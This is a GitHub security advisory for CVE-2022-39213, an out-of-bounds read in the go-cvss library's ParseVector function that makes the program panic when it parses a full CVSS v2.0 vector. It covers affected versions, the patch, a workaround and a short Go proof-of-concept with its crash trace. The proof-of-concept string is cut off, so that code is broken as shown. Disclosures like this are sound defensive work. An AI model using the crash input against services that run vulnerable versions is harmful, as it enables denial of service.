Out-of-bounds Read in github.com/pandatix/go-cvss/20 ParseVector function

High pandatix published GHSA-xhmf-mmv2-4hhx on Sep 15

Package

github.com/pandatix/go-cvss (Go)

Affected versions	Patched versions
>= v0.2.0, < v0.4.0	v0.4.0

Description

Impact

When a full CVSS v2.0 vector string is parsed using `ParseVector`, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic.

Patches

The problem is patched in tag `v0.4.0`, by the commit `d9d478ff0c13b8b09ace030db9262f3c2fe031f4`.

Workarounds

The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. `AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M`).

References

N/A

CPE v2.3

As stated in SECURITY.md, the CPE v2.3 to refer to this Go module is `cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*` .
The entry has already been requested to the NVD CPE dictionnary.

Exploit example

```
package main

import (
	"log"

	gocvss20 "github.com/pandatix/go-cvss/20"
)

func main() {
	_, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR
	if err != nil {
		log.Fatal(err)
	}
}
```

When ran, the following trace is returned.

```
panic: runtime error: index out of range [3] with length 3

goroutine 1 [running]:
github.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?})
	/home/lucas/go/pkg/mod/github.com/pandatix/go-cvss@v0.2.0/20/cvss20.go:54 +0x578
main.main()
	/media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25
exit status 2
```

For more information

If you have any questions or comments about this advisory:

- Open an issue in pandatix/go-cvss
- Email me at lucastesson@protonmail.com

Severity

High 7.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2022-39213

Weaknesses

CWE-125